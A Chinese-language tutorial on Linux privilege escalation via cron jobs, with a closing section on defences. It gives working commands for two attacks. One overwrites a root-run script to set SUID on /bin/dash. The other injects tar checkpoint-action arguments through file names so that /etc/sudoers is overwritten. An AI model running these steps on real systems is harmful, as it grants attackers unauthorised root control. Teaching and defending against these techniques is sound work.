利用定时任务(Cronjobs)进行Linux提权
字数 1341 2025-08-29 08:32:18
Linux提权技术:利用定时任务(Cronjobs)进行权限提升
1. Cronjobs基础概念
1.1 什么是Cronjobs
Cronjobs(定时任务)是Linux系统中用于安排周期性执行命令或脚本的工具。它由cron守护进程管理,会持续检查以下位置:
/etc/crontab文件/etc/cron.*/目录/var/spool/cron/目录
1.2 Cronjobs的基本格式
一个典型的cronjob条目格式如下:
* * * * * user command-to-be-executed
五个星号分别代表:
- 分钟 (0-59)
- 小时 (0-23)
- 日 (1-31)
- 月 (1-12)
- 星期 (0-7,0和7都代表星期日)
2. 利用Cronjobs提权的两种方法
2.1 Crontab文件覆写提权
2.1.1 攻击场景
假设系统中存在一个每2分钟以root权限执行的Python脚本,用于清理特定目录。
2.1.2 攻击步骤
-
识别可利用的Cronjob:
cat /etc/crontab ls -al /tmp/cleanup.py cat /tmp/cleanup.py -
修改脚本内容:
如果对脚本有写入权限,可以修改cleanup.py内容为:#!/usr/bin/env python import os import sys try: os.system('chmod u+s /bin/dash') except: sys.exit() -
等待执行:
等待cronjob执行(本例中为2分钟后),/bin/dash将被设置SUID位。 -
获取root权限:
/bin/dash id whoami
2.1.3 关键点
- 需要目标脚本有写入权限
- 修改后的命令会以root权限执行
- 设置SUID位是常见提权方法之一
2.2 Crontab Tar Wildcard注入提权
2.2.1 攻击场景
系统中存在一个每分钟以root权限执行的tar备份任务。
2.2.2 攻击步骤
-
识别可利用的Cronjob:
cat /etc/crontab发现类似条目:
*/1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/* -
准备恶意文件:
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > test.sh echo "" > "--checkpoint-action=exec=sh test.sh" echo "" > --checkpoint=1 -
触发漏洞:
tar cf archive.tar * -
等待执行:
1分钟后,当前用户将被添加到sudoers文件中,获得无密码sudo权限。 -
获取root权限:
sudo -l sudo bash whoami
2.2.3 关键点
- 利用了tar命令的
--checkpoint和--checkpoint-action参数 - 通过文件名注入的方式执行恶意命令
- 需要目标目录有写入权限
- 最终通过修改sudoers文件实现提权
3. 防御措施
3.1 系统管理员防护建议
-
最小权限原则:
- Cronjob脚本和目录应严格限制写入权限
- 避免使用root权限执行不必要的任务
-
审计与监控:
- 定期检查
/etc/crontab和/etc/cron.*/目录 - 监控异常的系统文件修改
- 定期检查
-
安全配置:
- 使用
chattr +i保护关键脚本不被修改 - 对cronjob执行的脚本进行完整性检查
- 使用
-
更新与补丁:
- 保持系统更新,修复已知漏洞
3.2 开发者注意事项
-
避免使用通配符:
- 在cronjob命令中谨慎使用
*等通配符
- 在cronjob命令中谨慎使用
-
输入验证:
- 对所有可能被cronjob处理的文件进行严格验证
-
日志记录:
- 记录cronjob的执行情况和输出
4. 总结
本文详细介绍了两种利用Linux定时任务(Cronjobs)进行权限提升的技术:
- Crontab文件覆写:通过修改以root权限执行的脚本内容实现提权
- Tar Wildcard注入:利用tar命令的参数特性注入恶意命令
这两种方法都利用了系统配置不当或权限设置不严格的问题。防御的关键在于遵循最小权限原则、严格控制系统文件的访问权限,并定期审计系统配置。